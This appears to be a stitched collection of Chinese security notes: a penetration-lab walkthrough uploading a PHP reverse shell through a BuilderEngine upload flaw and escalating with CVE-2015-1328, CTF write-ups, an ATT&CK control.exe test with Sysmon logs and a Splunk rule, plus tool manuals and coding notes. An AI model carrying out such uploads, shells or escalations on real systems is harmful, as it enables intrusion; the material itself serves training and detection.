---- Entering directory: http://192.168.32.197/system/fonts/ ----
+ http://192.168.32.197/system/fonts/index.html (CODE:200|SIZE:142)
---- Entering directory: http://192.168.32.197/system/helpers/ ----
+ http://192.168.32.197/system/helpers/index.html (CODE:200|SIZE:142)
---- Entering directory: http://192.168.32.197/system/language/ ----
==> DIRECTORY: http://192.168.32.197/system/language/english/
+ http://192.168.32.197/system/language/index.html (CODE:200|SIZE:142)
---- Entering directory: http://192.168.32.197/system/libraries/ ----
+ http://192.168.32.197/system/libraries/index.html (CODE:200|SIZE:142)
---- Entering directory: http://192.168.32.197/system/core/compat/ ----
+ http://192.168.32.197/system/core/compat/index.html (CODE:200|SIZE:142)
---- Entering directory: http://192.168.32.197/system/database/drivers/ ----
+ http://192.168.32.197/system/database/drivers/index.html (CODE:200|SIZE:142)
==> DIRECTORY: http://192.168.32.197/system/database/drivers/mssql/
==> DIRECTORY: http://192.168.32.197/system/database/drivers/mysql/
==> DIRECTORY: http://192.168.32.197/system/database/drivers/odbc/
---- Entering directory: http://192.168.32.197/system/language/english/ ----
+ http://192.168.32.197/system/language/english/index.html (CODE:200|SIZE:142)
---- Entering directory: http://192.168.32.197/system/database/drivers/mssql/ ----
+ http://192.168.32.197/system/database/drivers/mssql/index.html (CODE:200|SIZE:142)
---- Entering directory: http://192.168.32.197/system/database/drivers/mysql/ ----
+ http://192.168.32.197/system/database/drivers/mysql/index.html (CODE:200|SIZE:142)
---- Entering directory: http://192.168.32.197/system/database/drivers/odbc/ ----
+ http://192.168.32.197/system/database/drivers/odbc/index.html (CODE:200|SIZE:142)
-----------------
END_TIME: Fri Sep 2 04:26:32 2022
DOWNLOADED: 64568 - FOUND: 16
```
找到BuilderEngine的web框架。
发现一个未授权文件上传漏洞
复制html，修改localhost地址为靶场IP,浏览器本地访问
可以看到已经上传成功
访问：http://192.168.32.197/files/php-reverse-shell.php。连接反弹shell
```
python -c 'import pty;pty.spawn("/bin/bash")'
```
使用CVE-2015-1325漏洞进行提权
使用CVE-2015-1328进行提权
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# BMP
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## 什么是BMP
BMP（全称 Bitmap）是 Windows 操作系统中的标准图像文件格式，可以分成两类：设备有向量相关位图（DDB）和设备无向量相关位图（DIB），使用非常广。它采用位映射存储格式，除了图像深度可选以外，不采用其他任何压缩，因此，BMP 文件所占用的空间很大。BMP 文件的图像深度可选 lbit、4bit、8bit 及 24bit。BMP 文件存储数据时，图像的扫描方式是按从左到右、从下到上的顺序。由于 BMP 文件格式是 Windows 环境中交换与图有关的数据的一种标准，因此在 Windows 环境中运行的图形图像软件都支持 BMP 图像格式。
典型的 BMP 图像文件由四部分组成：
1. 位图头文件数据结构，它包含 BMP 图像文件的类型、显示内容等信息；
2. 位图信息数据结构，它包含有 BMP 图像的宽、高、压缩方法，以及定义颜色等信息；
3. 调色板，这个部分是可选的，有些位图需要调色板，有些位图，比如真彩色图（24 位的 BMP）就不需要调色板；
4. 位图数据，这部分的内容根据 BMP 位图使用的位数不同而不同，在 24 位图中直接使用 RGB，而其他的小于 24 位的使用调色板中颜色索引值。
---
## 图片结构头及宽高计算
bmp 文件头 BM
首先需要了解到的文件头和 bitmapinfoheader 字段有：
### bfType
2字节 一定为19778，其转化为十六进制为 `0x4d42`，对应的字符串为BM
### bfSize
4字节 文件大小
0x00000050=80(Byte)
### bfReserved1
2字节 一般为0
### bfReserved2
2字节 一般为0
### bfOffBits
4字节 从文件开始处到像素数据的偏移，也就是这两个结构体大小之和
36 00 00 00(0x36) 转换成十进制是 54, 从 BMP 文件的第一个字节开始，到第 54 个字节就是像素的开始。
对像素内容覆盖不会影响图片的读取,如果出现图片缺损，大概率是破坏了前面的部分。
### biSize
4字节 此结构体的大小
### biWidth
4字节 图像的宽
### biHeight
4字节 图像的高
### biPlanes
2字节 图像的帧数，一般为1
### biBitCount
2字节 一像素所占的位数，一般是24
### biCompression
4字节 一般为0
### biSizeImage
4字节 像素数据所占大小，即结构体中文件大小减去偏移(bfSize-bfOffBits)
其中存在关系为：biSizeImage=bfSize-bfOffBits =biWidth*biHeight*biBitCount/8
换句话来说就是 height=biSizeImage/biWidth/(biBitCount/8)
---
## Source & Reference
- [misc-stegaBasic](https://www.jianshu.com/p/fe7a5fff2a95)
- [BMP位图隐写](https://payloads.online/archivers/2019-01-31/1)
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nano
===
字符终端文本编辑器
## 补充说明
**nano** 是一个字符终端的文本编辑器，有点像DOS下的editor程序。它比vi/vim要简单得多，比较适合Linux初学者使用。某些Linux发行版的默认编辑器就是nano。
nano命令可以打开指定文件进行编辑，默认情况下它会自动断行，即在一行中输入过长的内容时自动拆分成几行，但用这种方式来处理某些文件可能会带来问题，比如Linux系统的配置文件，自动断行就会使本来只能写在一行上的内容折断成多行了，有可能造成系统不灵了。因此，如果你想避免这种情况出现，就加上`-w`选项吧。
### 语法
```shell
nano [选项] [[+行,列] 文件名]...
```
### 选项
```shell
-h, -? --help 显示此信息
+行,列 从所指列数与行数开始
-A --smarthome 启用智能 HOME 键
-B --backup 储存既有文件的备份
-C <目录> --backupdir=<目录> 用以储存独一备份文件的目录
-D --boldtext 用粗体替代颜色反转
-E --tabstospaces 将已输入的制表符转换为空白
-F --multibuffer 启用多重文件缓冲区功能
-H --historylog 记录与读取搜索/替换的历史字符串
-I --ignorercfiles 不要参考nanorc 文件
-K --rebindkeypad 修正数字键区按键混淆问题
-L --nonewlines 不要将换行加到文件末端
-N --noconvert 不要从 DOS/Mac 格式转换
-O --morespace 编辑时多使用一行
-Q <字符串> --quotestr=<字符串> 引用代表字符串
-R --restricted 限制模式
-S --smooth 按行滚动而不是半屏
-T <#列数> --tabsize=<#列数> 设定制表符宽度为 #列数
-U --quickblank 状态行快速闪动
-V --version 显示版本资讯并离开
-W --wordbounds 更正确地侦测单字边界
-Y <字符串> --syntax=<字符串> 用于加亮的语法定义
-c --const 持续显示游标位置
-d --rebinddelete 修正退格键/删除键混淆问题
-i --autoindent 自动缩进新行
-k --cut 从游标剪切至行尾
-l --nofollow 不要依照符号连结，而是覆盖
-m --mouse 启用鼠标功能
-o <目录> --operatingdir=<目录> 设定操作目录
-p --preserve 保留XON (^Q) 和XOFF (^S) 按键
-q --quiet 沉默忽略启动问题, 比如rc 文件错误
-r <#列数> --fill=<#列数> 设定折行宽度为 #列数
-s <程序> --speller=<程序> 启用替代的拼写检查程序
-t --tempfile 离开时自动储存，不要提示
-u --undo 允许通用撤销[试验性特性]
-v --view 查看(只读)模式
-w --nowrap 不要自动换行
-x --nohelp 不要显示辅助区
-z --suspend 启用暂停功能
-$ --softwrap 启用软换行
-a, -b, -e,
-f, -g, -j (忽略，为与pico 相容)
```
### 用法
**光标控制**
* 移动光标：使用用方向键移动。
* 选择文字：按住鼠标左键拖到。
**复制、剪贴和粘贴**
* 复制一整行：Alt+6
* 剪贴一整行：Ctrl+K
**粘贴：Ctrl+U**
如果需要复制／剪贴多行或者一行中的一部分，先将光标移动到需要复制／剪贴的文本的开头，按Ctrl+6（或者Alt+A）做标记，然后移动光标到 待复制／剪贴的文本末尾。这时选定的文本会反白，用Alt+6来复制，Ctrl+K来剪贴。若在选择文本过程中要取消，只需要再按一次Ctrl+6。
**搜索**
按Ctrl+W，然后输入你要搜索的关键字，回车确定。这将会定位到第一个匹配的文本，接着可以用Alt+W来定位到下一个匹配的文本。
**翻页**
* `Ctrl+Y` 到上一页
* `Ctrl+V` 到下一页
**保存**
使用Ctrl+O来保存所做的修改
**退出**
按Ctrl+X
如果你修改了文件，下面会询问你是否需要保存修改。输入Y确认保存，输入N不保存，按Ctrl+C取消返回。如果输入了Y，下一步会让你输入想要保存的文件名。如果不需要修改文件名直接回车就行；若想要保存成别的名字（也就是另存为）则输入新名称然后确 定。这个时候也可用Ctrl+C来取消返回。
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sec-knowleage
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# Baby DLP (crypto)
## ENG
[PL](#pl-version)
In the task we get [server code](server.py) to analyse.
In short we can send to the server a number `s` and server responds with `c = pow(2, flag ^ s, p)`.
Our goal is, of course, to recover the flag.
As the taks name suggests, if we could calculate discrete logarithm, we could easily get back the flag.
But it's not the only way.
Let's look closely what the server does - it XORs the exponent with a value we provide!
What would happen if we flip a single bit in the exponent?
- If we change `k-th` bit from 0 to 1 then we simply add `2**k` to the exponent. It means that `c' = pow(2, flag + 2**k, p) = c * pow(2, 2**k, p) mod p`
- Otherwise we must have changed `k-th` bit from 1 to 0.
Flipping a single bit is trivial, we simply need to send as input a number which has only a single high bit as `k-th` position, and this will flip the `k-th` bit of the `flag` on the server.
So the solution is:
1. Send `0` as input to recover original `c` value from the server
2. Send `1`,`2`,`4`,...,`2**k` as input and check if `result == c * pow(2, 2**k, p) % p` and if it is then `k-th` bit was originally `0`, otherwise it was `1`
```python
from Crypto.Util.number import size, long_to_bytes
from crypto_commons.netcat.netcat_commons import nc, send
def main():
url = 'ppc2.chal.ctf.westerns.tokyo'
port = 28459
s = nc(url, port)
p = 160634950613302858781995506902938412625377360249559915379491492274326359260806831823821711441204122060415286351711411013883400510041411782176467940678464161205204391247137689678794367049197824119717278923753940984084059450704378828123780678883777306239500480793044460796256306557893061457956479624163771194201
g = 2
send(s, '0')
reference = int(s.recv(99999)[2:], 16) # original ciphertext
payload = 1L
bits = []
for i in range(size(p)):
print('testing ', i)
send(s, hex(payload)[2:-1])
result = int(s.recv(99999)[2:], 16)
if result == (reference * pow(g, payload, p)) % p:
bits.append('0')
else:
bits.append('1')
payload <<= 1
bts = "".join(bits)
print(bts)
print(long_to_bytes(int(bts[::-1], 2)))
main()
```
This gives us: `TWCTF{0f97c1c3ac2aedbd7fb8cd39d50f2b561d31f770}`
## PL version
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sec-knowleage
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hostid
===
显示当前主机的十六进制数字标识。
## 概要
```shell
hostid [OPTION]...
```
## 主要用途
- 显示当前主机的十六进制标识符。
- 用来限制软件的使用权限，不可改变。
## 选项
```shell
--help 显示帮助信息并退出。
--version 显示版本信息并退出。
```
## 例子
```shell
[root@localhost ~]# hostid
007f0100
```
### 注意
1. 该命令是`GNU coreutils`包中的命令，相关的帮助信息请查看`man -s 1 hostid`，`info coreutils 'hostid invocation'`。
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sec-knowleage
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## SRM (Reverse, 50p)
> The flag is : The valid serial number
> [Download](RM.exe)
###ENG
[PL](#pl-version)
We downloaded windows binary and run it. It asks us to enter serial and checks its validity.
We disasembled it, and checked content of its DialogFunc. We can clearly see interesting fragment:
```c
if (strlen(v13) != 16
|| v13[0] != 67
|| v25 != 88
|| v13[1] != 90
|| v13[1] + v24 != 155
|| v13[2] != 57
|| v13[2] + v23 != 155
|| v13[3] != 100
|| v22 != 55
|| v14 != 109
|| v21 != 71
|| v15 != 113
|| v15 + v20 != 170
|| v16 != 52
|| v19 != 103
|| v17 != 99
|| v18 != 56 ) {
// FAIL
} else {
// OK
}
```
Different xXX stand for different characters of input - using debugger it's easy to check which variable is which character.
Reversing this check took a while, because every comparsion had to be implemented, but when we succeeded, we get valid serial that turned out to be flag:
CZ9dmq4c8g9G7bAX
###PL version
Pobieramy windowsową binarkę i uruchamiamy. Prosi ona o podanie serialu i sprawdza jego poprawność.
Disasemblujemy ją więc, i patrzymy na zawartośc DialogFunc. Od razu widać ciekawy fragment:
```c
if (strlen(v13) != 16
|| v13[0] != 67
|| v25 != 88
|| v13[1] != 90
|| v13[1] + v24 != 155
|| v13[2] != 57
|| v13[2] + v23 != 155
|| v13[3] != 100
|| v22 != 55
|| v14 != 109
|| v21 != 71
|| v15 != 113
|| v15 + v20 != 170
|| v16 != 52
|| v19 != 103
|| v17 != 99
|| v18 != 56 ) {
// FAIL
} else {
// OK
}
```
Różne vXX odpowiadają za różne znaki inputu - łatwo dojść do tego które odpowiadają za które przy użyciu debuggera.
Reversowanie tego zajęło chwilę bo trzeba było porównać wszystkie znaki, ale kiedy się udało, otrzymaliśmy poprawny serial, będący równoczesnie flagą:
CZ9dmq4c8g9G7bAX
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sec-knowleage
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# T1218-002-win-签名的二进制代理执行：控制面板
## 来自ATT&CK的描述
攻击者可能滥用control.exe代理恶意负载的执行。 Windows“控制面板”进程二进制文件（control.exe）处理“控制面板”项的执行，“控制面板”项是使用户可以查看和调整计算机设置的实用程序。
控制面板项目是注册的可执行文件（.exe）或控制面板（.cpl）文件，后者实际上是重命名的动态链接库（.dll）文件，它们导出CPlApplet函数。为了易于使用，“控制面板”项通常包括在注册并加载到“控制面板”中后可供用户使用的图形菜单。可以从命令行直接执行控制面板项目，可以通过应用程序编程接口（API）调用以编程方式执行，也可以直接双击文件来执行。
恶意控制面板项目可以通过网络钓鱼活动传递，也可以作为多阶段恶意软件的一部分执行。控制面板项目，尤其是CPL文件，也可能会绕过应用程序或文件扩展名允许列表。
攻击者还可能使用控制面板文件扩展名（.cpl）重命名恶意DLL文件（.dll），并将其注册到HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls。即使这些注册的DLL不符合CPL文件规范并且不导出CPlApplet函数，在执行“控制面板”时也会通过其DllEntryPoint加载并执行它们。不导出CPlApplet的CPL文件不能直接执行。
## 测试案例
Control.exe是微软Windows操作系统自带的程序。用于访问控制面板。这不是纯粹的系统程序，但是如果终止它，可能会导致不可知的问题。
暂无测试案例
## 检测日志
windows security
windows sysmon
## 测试复现
```
C:\Users\zhuli>control.exe C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1218.002\bin\calc.cpl
```
执行成功
## 测试留痕
Windows Sysmon记录
```
日志名称: Microsoft-Windows-Sysmon/Operational
来源: Microsoft-Windows-Sysmon
日期: 2022/1/9 21:05:44
事件 ID: 1
任务类别: Process Create (rule: ProcessCreate)
级别: 信息
关键字:
用户: SYSTEM
计算机: zhuli.qax.com
描述:
Process Create:
RuleName: technique_id=T1218.002,technique_name=rundll32.exe
UtcTime: 2022-01-09 13:05:44.050
ProcessGuid: {78c84c47-dda8-61da-4e09-000000000800}
ProcessId: 6288
Image: C:\Windows\SysWOW64\rundll32.exe
FileVersion: 10.0.17763.1 (WinBuild.160101.0800)
Description: Windows host process (Rundll32)
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: RUNDLL32.EXE
CommandLine: "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1218.002\bin\calc.cpl
CurrentDirectory: C:\Users\zhuli\
User: QAX\zhuli
LogonGuid: {78c84c47-3b57-61d8-525f-090000000000}
LogonId: 0x95F52
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA1=6778DAD71C8B06264CF2929A5242D2612D3EB026,MD5=2F633406BC9875AA48D6CC5884B70862,SHA256=26E68D4381774A6FD0BF5CA2EACEF55F2AB28536E3176A1C6362DFFC68B22B8A,IMPHASH=BB17B2FBBFF4BBF5EBDCA7D0BB9E4A5B
ParentProcessGuid: {78c84c47-dda8-61da-4d09-000000000800}
ParentProcessId: 704
ParentImage: C:\Windows\System32\rundll32.exe
ParentCommandLine: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1218.002\bin\calc.cpl
ParentUser: QAX\zhuli
事件 Xml:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698ffbd9}" />
<EventID>1</EventID>
<Version>5</Version>
<Level>4</Level>
<Task>1</Task>
<Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords>
<TimeCreated SystemTime="2022-01-09T13:05:44.051470500Z" />
<EventRecordID>7001</EventRecordID>
<Correlation />
<Execution ProcessID="2764" ThreadID="3668" />
<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>zhuli.qax.com</Computer>
<Security UserID="S-1-5-18" />
</System>
<EventData>
<Data Name="RuleName">technique_id=T1218.002,technique_name=rundll32.exe</Data>
<Data Name="UtcTime">2022-01-09 13:05:44.050</Data>
<Data Name="ProcessGuid">{78c84c47-dda8-61da-4e09-000000000800}</Data>
<Data Name="ProcessId">6288</Data>
<Data Name="Image">C:\Windows\SysWOW64\rundll32.exe</Data>
<Data Name="FileVersion">10.0.17763.1 (WinBuild.160101.0800)</Data>
<Data Name="Description">Windows host process (Rundll32)</Data>
<Data Name="Product">Microsoft® Windows® Operating System</Data>
<Data Name="Company">Microsoft Corporation</Data>
<Data Name="OriginalFileName">RUNDLL32.EXE</Data>
<Data Name="CommandLine">"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1218.002\bin\calc.cpl</Data>
<Data Name="CurrentDirectory">C:\Users\zhuli\</Data>
<Data Name="User">QAX\zhuli</Data>
<Data Name="LogonGuid">{78c84c47-3b57-61d8-525f-090000000000}</Data>
<Data Name="LogonId">0x95f52</Data>
<Data Name="TerminalSessionId">1</Data>
<Data Name="IntegrityLevel">Medium</Data>
<Data Name="Hashes">SHA1=6778DAD71C8B06264CF2929A5242D2612D3EB026,MD5=2F633406BC9875AA48D6CC5884B70862,SHA256=26E68D4381774A6FD0BF5CA2EACEF55F2AB28536E3176A1C6362DFFC68B22B8A,IMPHASH=BB17B2FBBFF4BBF5EBDCA7D0BB9E4A5B</Data>
<Data Name="ParentProcessGuid">{78c84c47-dda8-61da-4d09-000000000800}</Data>
<Data Name="ParentProcessId">704</Data>
<Data Name="ParentImage">C:\Windows\System32\rundll32.exe</Data>
<Data Name="ParentCommandLine">"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1218.002\bin\calc.cpl</Data>
<Data Name="ParentUser">QAX\zhuli</Data>
</EventData>
</Event>
```
## 检测规则/思路
监视和分析与CPL文件相关的项目相关的活动，例如Windows Control Panel进程二进制文件（control.exe）以及shell32.dll中的Control_RunDLL和ControlRunDLLAsUser API函数。从命令行执行或单击时，在使用Rundll32调用CPL的API函数（例如：rundll32.exe shell32.dll，Control_RunDLL文件）之前，control.exe将执行CPL文件（例如：control.exe file.cpl）.cpl）。仅使用后一个Rundll32命令就可以通过CPL API函数直接执行CPL文件，该命令可能会绕过control.exe的检测和/或执行过滤器。
### splunk规则
```yml
index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”\\control.exe” CommandLine=”.cpl*”) OR (EventCode=1 Image=”\\rundll32.exe” CommandLine =”shell32.dll,Control_RunDLL” CommandLine=”.cpl”) OR (EventCode=1 Image=”\\rundll32.exe” CommandLine =”shell32.dll,ControlRunDLLAsUse” CommandLine=”.cpl”) OR (EventCode=1 Image=”\\rundll32.exe” CommandLine =”.cpl*”) OR (EventCode IN (12,13) TargetObject IN (“HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace*” , “HKCR\\CLSID*” , “HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ControlPanel*” , “*Shellex\\PropertySheetHandlers”))
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1218-002
<https://attack.mitre.org/techniques/T1218/002/>
跟着ATT&CK学安全之defense-evasion
<https://snappyjack.github.io/articles/2020-01/%E8%B7%9F%E7%9D%80ATT&CK%E5%AD%A6%E5%AE%89%E5%85%A8%E4%B9%8Bdefense-evasion>
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# twofi软件包描述
当尝试破解密码时，自定义单词列表对于标准字典是非常有用的补充。 最初在“7 Habits of Highly Effective Hackers”博客上发布的一个有趣想法是，使用Twitter来搜索与正在破解的列表相关的关键字，以帮助生成这些自定义单词列表。 这个想法扩展进了twofi，它采用多个搜索关键字来返回单词列表，并按最常见的在前进行排序。
资料来源：http://www.digininja.org/projects/twofi.php
[twofi主页](http://www.digininja.org/projects/twofi.php) | [Kali twofi资源](http://git.kali.org/gitweb/?p=packages/twofi.git;a=summary)
- 作者：Robin Wood
- 许可：Creative Commons Attribution-Share Alike 2.0
## twofi包含的工具
twofi - Twitter单词利用
```
root@kali:~# twofi -h
twofi 1.0 Robin Wood (robin@digininja.org) (www.digininja.org)
twofi - Twitter Words Of Interest
用法：twofi [选项]
--help，-h： 显示帮助
--count，-c： 包含单词计数
--min_word_length，-m： 最小单词长度
--term_file，-T file： 包含关键字列表的文件
--terms，-t： 逗号分隔的搜索关键字。包含空格的要加引号，逗号后面不留空格
--user_file，-U file： 包含用户列表的文件
--users，-u： 逗号分隔的用户名。包含空格的要加引号，逗号后面不留空格
--verbose，-v： 显示详细信息
```
原文链接：http://tools.kali.org/information-gathering/twofi(http://tools.kali.org/information-gathering/twofi)
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# 正则表达式
<!-- GFM-TOC -->
* [正则表达式](#正则表达式)
* [一、概述](#一概述)
* [二、匹配单个字符](#二匹配单个字符)
* [三、匹配一组字符](#三匹配一组字符)
* [四、使用元字符](#四使用元字符)
* [五、重复匹配](#五重复匹配)
* [六、位置匹配](#六位置匹配)
* [七、使用子表达式](#七使用子表达式)
* [八、回溯引用](#八回溯引用)
* [九、前后查找](#九前后查找)
* [十、嵌入条件](#十嵌入条件)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 一、概述
正则表达式用于文本内容的查找和替换。
正则表达式内置于其它语言或者软件产品中，它本身不是一种语言或者软件。
[正则表达式在线工具](https://regexr.com/)
## 二、匹配单个字符
**.** 可以用来匹配任何的单个字符，但是在绝大多数实现里面，不能匹配换行符；
**.** 是元字符，表示它有特殊的含义，而不是字符本身的含义。如果需要匹配 . ，那么要用 \ 进行转义，即在 . 前面加上 \ 。
正则表达式一般是区分大小写的，但也有些实现不区分。
**正则表达式**
```
C.C2018
```
**匹配结果**
My name is **CyC2018** .
## 三、匹配一组字符
**[ ]** 定义一个字符集合；
0-9、a-z 定义了一个字符区间，区间使用 ASCII 码来确定，字符区间在 [ ] 中使用。
**-** 只有在 [ ] 之间才是元字符，在 [ ] 之外就是一个普通字符；
**^** 在 [ ] 中是取非操作。
**应用**
匹配以 abc 为开头，并且最后一个字母不为数字的字符串：
**正则表达式**
```
abc[^0-9]
```
**匹配结果**
1. **abcd**
2. abc1
3. abc2
## 四、使用元字符
### 匹配空白字符
| 元字符 | 说明 |
| :---: | :---: |
| [\b] | 回退（删除）一个字符 |
| \f | 换页符 |
| \n | 换行符 |
| \r | 回车符 |
| \t | 制表符 |
| \v | 垂直制表符 |
\r\n 是 Windows 中的文本行结束标签，在 Unix/Linux 则是 \n。
\r\n\r\n 可以匹配 Windows 下的空白行，因为它匹配两个连续的行尾标签，而这正是两条记录之间的空白行；
### 匹配特定的字符
#### 1. 数字元字符
| 元字符 | 说明 |
| :---: | :---: |
| \d | 数字字符，等价于 [0-9] |
| \D | 非数字字符，等价于 [^0-9] |
#### 2. 字母数字元字符
| 元字符 | 说明 |
| :---: | :---: |
| \w | 大小写字母，下划线和数字，等价于 [a-zA-Z0-9\_] |
| \W | 对 \w 取非 |
#### 3. 空白字符元字符
| 元字符 | 说明 |
| :---: | :---: |
| \s | 任何一个空白字符，等价于 [\f\n\r\t\v] |
| \S | 对 \s 取非 |
\x 匹配十六进制字符，\0 匹配八进制，例如 \xA 对应值为 10 的 ASCII 字符 ，即 \n。
## 五、重复匹配
- **\+** 匹配 1 个或者多个字符
- **\** * 匹配 0 个或者多个字符
- **?** 匹配 0 个或者 1 个字符
**应用**
匹配邮箱地址。
**正则表达式**
```
[\w.]+@\w+\.\w+
```
[\w.] 匹配的是字母数字或者 . ，在其后面加上 + ，表示匹配多次。在字符集合 [ ] 里，. 不是元字符；
**匹配结果**
**abc.def\<span\>@\</span\>qq.com**
- **{n}** 匹配 n 个字符
- **{m,n}** 匹配 m\~n 个字符
- **{m,}** 至少匹配 m 个字符
\* 和 + 都是贪婪型元字符，会匹配尽可能多的内容。在后面加 ? 可以转换为懒惰型元字符，例如 \*?、+? 和 {m,n}? 。
**正则表达式**
```
a.+c
```
**匹配结果**
**abcabcabc**
由于 + 是贪婪型的，因此 .+ 会匹配更可能多的内容，所以会把整个 abcabcabc 文本都匹配，而不是只匹配前面的 abc 文本。用懒惰型可以实现匹配前面的。
## 六、位置匹配
### 单词边界
**\b** 可以匹配一个单词的边界，边界是指位于 \w 和 \W 之间的位置；**\B** 匹配一个不是单词边界的位置。
\b 只匹配位置，不匹配字符，因此 \babc\b 匹配出来的结果为 3 个字符。
### 字符串边界
**^** 匹配整个字符串的开头，**$** 匹配结尾。
^ 元字符在字符集合中用作求非，在字符集合外用作匹配字符串的开头。
分行匹配模式（multiline）下，换行被当做字符串的边界。
**应用**
匹配代码中以 // 开始的注释行
**正则表达式**
```
^\s*\/\/.*$
```
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/600e9c75-5033-4dad-ae2b-930957db638e.png"/> </div><br>
**匹配结果**
1. public void fun() {
2. **// 注释 1**
3. int a = 1;
4. int b = 2;
5. **// 注释 2**
6. int c = a + b;
7. }
## 七、使用子表达式
使用 **( )** 定义一个子表达式。子表达式的内容可以当成一个独立元素，即可以将它看成一个字符，并且使用 * 等元字符。
子表达式可以嵌套，但是嵌套层次过深会变得很难理解。
**正则表达式**
```
(ab){2,}
```
**匹配结果**
**ababab**
**|** 是或元字符，它把左边和右边所有的部分都看成单独的两个部分，两个部分只要有一个匹配就行。
**正则表达式**
```
(19|20)\d{2}
```
**匹配结果**
1. **1900**
2. **2010**
3. 1020
**应用**
匹配 IP 地址。
IP 地址中每部分都是 0-255 的数字，用正则表达式匹配时以下情况是合法的：
- 一位数字
- 不以 0 开头的两位数字
- 1 开头的三位数
- 2 开头，第 2 位是 0-4 的三位数
- 25 开头，第 3 位是 0-5 的三位数
**正则表达式**
```
((25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))\.){3}(25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))
```
**匹配结果**
1. **192.168.0.1**
2. 00.00.00.00
3. 555.555.555.555
## 八、回溯引用
回溯引用使用 **\n** 来引用某个子表达式，其中 n 代表的是子表达式的序号，从 1 开始。它和子表达式匹配的内容一致，比如子表达式匹配到 abc，那么回溯引用部分也需要匹配 abc 。
**应用**
匹配 HTML 中合法的标题元素。
**正则表达式**
\1 将回溯引用子表达式 (h[1-6]) 匹配的内容，也就是说必须和子表达式匹配的内容一致。
```
<(h[1-6])>\w*?<\/\1>
```
**匹配结果**
1. **<h1\>x</h1\>**
2. **<h2\>x</h2\>**
3. <h3\>x</h1\>
### 替换
需要用到两个正则表达式。
**应用**
修改电话号码格式。
**文本**
313-555-1234
**查找正则表达式**
```
(\d{3})(-)(\d{3})(-)(\d{4})
```
**替换正则表达式**
在第一个子表达式查找的结果加上 () ，然后加一个空格，在第三个和第五个字表达式查找的结果中间加上 - 进行分隔。
```
($1) $3-$5
```
**结果**
(313) 555-1234
### 大小写转换
| 元字符 | 说明 |
| :---: | :---: |
| \l | 把下个字符转换为小写 |
| \u| 把下个字符转换为大写 |
| \L | 把\L 和\E 之间的字符全部转换为小写 |
| \U | 把\U 和\E 之间的字符全部转换为大写 |
| \E | 结束\L 或者\U |
**应用**
把文本的第二个和第三个字符转换为大写。
**文本**
abcd
**查找**
```
(\w)(\w{2})(\w)
```
**替换**
```
$1\U$2\E$3
```
**结果**
aBCd
## 九、前后查找
前后查找规定了匹配的内容首尾应该匹配的内容，但是又不包含首尾匹配的内容。
向前查找使用 **?=** 定义，它规定了尾部匹配的内容，这个匹配的内容在 ?= 之后定义。所谓向前查找，就是规定了一个匹配的内容，然后以这个内容为尾部向前面查找需要匹配的内容。向后匹配用 ?\<= 定义（注: JavaScript 不支持向后匹配，Java 对其支持也不完善）。
**应用**
查找出邮件地址 @ 字符前面的部分。
**正则表达式**
```
\w+(?=@)
```
**结果**
**abc** @qq.com
对向前和向后查找取非，只要把 = 替换成 ! 即可，比如 (?=) 替换成 (?!) 。取非操作使得匹配那些首尾不符合要求的内容。
## 十、嵌入条件
### 回溯引用条件
条件为某个子表达式是否匹配，如果匹配则需要继续匹配条件表达式后面的内容。
**正则表达式**
子表达式 (\\() 匹配一个左括号，其后的 ? 表示匹配 0 个或者 1 个。 ?(1) 为条件，当子表达式 1 匹配时条件成立，需要执行 \) 匹配，也就是匹配右括号。
```
(\()?abc(?(1)\))
```
**结果**
1. **(abc)**
2. **abc**
3. (abc
### 前后查找条件
条件为定义的首尾是否匹配，如果匹配，则继续执行后面的匹配。注意，首尾不包含在匹配的内容中。
**正则表达式**
?(?=-) 为前向查找条件，只有在以 - 为前向查找的结尾能匹配 \d{5} ，才继续匹配 -\d{4} 。
```
\d{5}(?(?=-)-\d{4})
```
**结果**
1. **11111**
2. 22222-
3. **33333-4444**
## 参考资料
- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.
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# 25. 合并两个排序的链表
[NowCoder](https://www.nowcoder.com/practice/d8b6b4358f774294a89de2a6ac4d9337?tpId=13&tqId=11169&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c094d2bc-ec75-444b-af77-d369dfb6b3b4.png" width="400"/> </div><br>
## 解题思路
### 递归
```java
public ListNode Merge(ListNode list1, ListNode list2) {
if (list1 == null)
return list2;
if (list2 == null)
return list1;
if (list1.val <= list2.val) {
list1.next = Merge(list1.next, list2);
return list1;
} else {
list2.next = Merge(list1, list2.next);
return list2;
}
}
```
### 迭代
```java
public ListNode Merge(ListNode list1, ListNode list2) {
ListNode head = new ListNode(-1);
ListNode cur = head;
while (list1 != null && list2 != null) {
if (list1.val <= list2.val) {
cur.next = list1;
